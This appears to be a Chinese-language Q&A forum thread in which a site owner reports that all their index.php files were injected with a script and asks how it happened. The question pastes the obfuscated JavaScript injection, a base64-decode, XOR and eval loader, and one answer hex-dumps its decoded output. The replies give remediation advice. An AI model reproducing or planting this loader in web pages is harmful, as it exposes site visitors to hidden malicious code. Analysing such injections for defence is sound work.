2010-03-05 45 views
2

我的網站上的所有index.php文件都被身體標記中的代碼注入攻擊了,見下文。有誰知道他們是如何做到的,如果有辦法找到它如何防止它?我網站上的所有index.php文件都被黑客攻擊了

echo "<body><script language="javascript">try { function BwrLMVnkPmRbZYpfwLH(MLJOynjaY){var iMgpLZHO="",aVwbJg,oKONbIZB,gdGJUWTs,siAOty,hPaiwMZ,NxynbqCA,VxXqcPIGHh,UclXTRxDsh,bRLAlhars;var nGBCFoc="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/=";var OZymdhDIRb="";for(UclXTRxDsh=0;UclXTRxDsh<MLJOynjaY.length;){siAOty=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));hPaiwMZ=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));bRLAlhars=BwrLMVnkPmRbZYpfwLH;NxynbqCA=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));VxXqcPIGHh=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));aVwbJg=(siAOty<<2)+(hPaiwMZ>>4);oKONbIZB=((hPaiwMZ&15)<<4)+(NxynbqCA>>2);gdGJUWTs=((NxynbqCA&3)<<6)+VxXqcPIGHh;bRLAlhars=bRLAlhars.toString();iMgpLZHO+=String.fromCharCode(aVwbJg);if(NxynbqCA!=64)iMgpLZHO+=String.fromCharCode(oKONbIZB);if(VxXqcPIGHh!=64)iMgpLZHO+=String.fromCharCode(gdGJUWTs);}bRLAlhars=bRLAlhars.replace(/\W/g,"");bRLAlhars=bRLAlhars.split("").reverse().join("");for(UclXTRxDsh=0;UclXTRxDsh<iMgpLZHO.length;UclXTRxDsh++)OZymdhDIRb+=String.fromCharCode(iMgpLZHO.charCodeAt(UclXTRxDsh%iMgpLZHO.length)^bRLAlhars.charCodeAt(UclXTRxDsh%bRLAlhars.length));return eval(OZymdhDIRb);}BwrLMVnkPmRbZYpfwLH("QnJpZEhETVl6b0xBVmxnBBQGRRsOBgYDAExOUgUHDzQhNwwcXScKNzUsCSY5ESwAChtrUAgOERIfBEpFekZbawESFQ8ICWE/MygED21USFF1WmleUWUKMwYgCAFBKxcIDws7aGdsUlZvUm9tZioUEwkuCEEBFAROVFJWOxYmOX5HSxVULyEBEGobPTl3BQ17CxMOUVdOdEJTRRQILhwFFioMfDY3CBp7URgDIRY2FzAFDzFaBgAcCAIPTEg=");} catch(e){}</script>";* 
+2

不,但該服務器已損壞。殺了它,從頭開始。並確保您更改密碼。 –

+0

假設它不是一個共享服務器... – Ricket

回答

5

我會建議你使用HTML Purifier

HTML淨化器是一個符合標準的 用PHP編寫的HTML過濾器庫。 HTML淨化器不僅會爲一個徹底的審覈移除所有 惡意代碼(更好地稱爲 XSS),
安全又寬容的白名單,它 也將確保您的文檔 符合標準

而且,在您想要插入/更新數據庫的任何值之前使用mysql_real_escape_string函數,並在數字前使用intval以最大限度地降低風險。

2

JavaScript的解碼和eval S中的以下二進制字符串:

0000: 2935 3f1e 1070 7a63 286e 6d69 626b 742b )5?..pzc(nmibkt+ 
0010: 2037 6974 7d55 495b 4d50 0f45 6244 7154 7it}UI[MP.EbDqT 
0020: 5b72 617d 4f55 7e5a 0e34 674d 6373 7767 [ra}OU~Z.4gMcswg 
0030: 3937 1b2e 372a 4d40 7767 7c6e 0f5a 5f67 97..7*[email protected]|n.Z_g 
0040: 4c55 2124 2f1c 1c32 1a1a 2937 5e6b 6a43 LU!$/..2..)7^kjC 
0050: 5d75 efbf bd4e 7367 4c79 5aef bfbd 0423 ]u...NsgLyZ....# 
0060: 1a0c 2322 0820 0f4f 707c 4a5c 6929 4279 ..#". .Op|J\i)By 
0070: 6b26 6c74 3b32 3538 5264 526a 1c15 0251 k&lt;258RdRj...Q 
0080: 3c6b 6c78 6a25 736e 7d0f 7779 2367 705b <klxj%sn}.wy#gp[ 
0090: 3923 291a 273f 205c 7262 6c62 5b63 640f 9#).'? \rblb[cd. 
00a0: 726f 7a6e 233d 227b 5611 7e45 5348 575b rozn#="{V.~ESHW[ 
00b0: 6936 6555 6e67 6461 2527 223e 3c2f 6b6c i6eUngda%'"></kl 
00c0: 786a 2573 6e7d 0f77 7923 6770 5b39 2329 xj%sn}.wy#gp[9#) 
00d0: 1a27 3f3e        .'?> 

這似乎有點毫無意義,因爲大多數的JavaScript引擎應該只是拋出一個語法錯誤。也許它會導致某些瀏覽器溢出。

至於他們是怎麼做到的,你發佈的代碼是利用客戶端漏洞,他們可能以不相關的攻擊危害了你的服務器。這將取決於您的內容如何生成,但SQL注入或文件系統覆蓋是可能的。你是否做了像eval未轉義的SQL或運行動態exec-來自PHP的系列函數?

+0

不,我沒有類似的東西 – user286826

+0

甚至可以像蠻力強制FTP或SSH登錄一樣簡單。檢查日誌也許?這進一步進入了serverfault領域。 – p00ya

相關問題